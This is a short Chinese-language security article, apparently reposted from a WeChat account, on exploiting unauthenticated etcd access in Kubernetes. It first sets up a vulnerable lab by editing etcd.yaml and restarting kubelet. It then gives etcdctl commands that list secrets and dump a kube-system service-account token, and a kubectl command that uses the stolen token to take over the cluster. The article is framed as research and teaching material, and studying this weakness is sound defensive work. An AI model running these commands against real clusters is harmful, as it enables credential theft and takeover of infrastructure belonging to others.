环境配置:
修改/etc/kubernetes/manifests/etcd.yaml为图下这样
重启一下k8s服务:systemctl restart kubelet.service
然后使用etcdcl工具进行对etcd未授权访问利用
工具下载地址(https://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz) |
使用命令找到相关凭据,凭据存放在secret中,在相关凭据中找到最高权限secret的token值进而接管K8s集群
获取凭据:./etcdctl --endpoints=ip:2379 get / --prefix --keys-only |grep secrets |
使用命令获取凭据token
获取凭据token:./etcdctl --endpoints=ip:2379 get /registry/secrets/kube-system/namespace-controller-token-bs7xl |
获取的token范围为图中箭头中的为token
获取到最高权限的token后便可以使用命令登录api-server
验证token有效性:kubectl --insecure-skip-tls-verify -s https://192.168.132.137:6443/ --token="获取的token" -n kube-system get pods |
原文始发于微信公众号(泾弦安全):etcd 未授权访问利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论